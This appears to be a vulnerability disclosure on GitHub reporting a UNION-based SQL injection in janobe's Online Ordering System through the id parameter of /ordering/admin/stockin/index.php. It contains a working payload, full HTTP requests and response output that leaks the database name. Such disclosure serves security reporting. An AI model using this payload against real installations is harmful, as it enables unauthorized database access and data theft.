

main

...

bug_report / vendors / janobe / online-ordering-system / SQLi-6.md



debug601 Create SQLi-6.md

History

1 contributor

29 lines (20 sloc) | 1.22 KB

...

Online Ordering System By janobe has SQL injection vulnerability

Author: k0xx

vendor: <https://www.sourcecodester.com/php/12978/online-ordering-system-phpmysqli.html>

Vulnerability file: /ordering/admin/stockin/index.php?view=edit&id=

Vulnerability location: /ordering/admin/stockin/index.php?view=edit&id= //id is Injection point

[+]Payload: /ordering/admin/stockin/index.php?

view=edit&id=-2%27%20union%20select%201,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17--+ //id is Injection point

Current database name: multistoredb

```
GET /ordering/admin/stockin/index.php?view=edit&id=-2%27%20union%20select%201,databa
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
```

Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=0m2td1md252h1nr3nsbmc5ss99
Connection: close

GET /ordering/admin/stockin/index.php?view=edit&id=-2%27%20union%20select%201, database(), 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0)
Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=0m2td1md252h1nr3nsbmc5ss99
Connection: close

```
action="controller.php?action=edit"
method="POST" >
<div class="row">
  <input type="hidden"
name="ProductID" value="15">
  <input type="hidden"
name="TransQuantity" value="16">
  <input type="hidden"
name="StockinID" value="14">
  <div
class="column-label">Product</div>
  <div class="column-value">:
multistoredb</div>
  <div
class="column-label">Description</
div>
  <div class="column-value">:
3</div>
  <div
class="column-label">Category</div
>
  <div class="column-value">:
12</div>
```

SQL BASICS• UNION BASED• ERROR/DOUBLE QUERY• TOOLS• WAF BYPASS• ENCODING• HTML• ENCRYPTION• OTHER• XSS• LFI•

Load URL http://192.168.1.19/ordering/admin/stockin/index.php?view=edit&id=-2' union select 1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17--+
Split URL
Execute

☐ Post data ☐ Referrer ☐ 0xHEX ☐ %URL ☐ BASE64 ☒ Replace All

Janobe

Dashboard

Products

Stock-in

Orders

Inventory

Category

Manage Users

Stock-In

Update Transaction

Product Details

Product	: multistoredb	Description	: 3
Category	: 12	Price	: 4
Quantity	16		

Save

History

Show 10 entries

Search: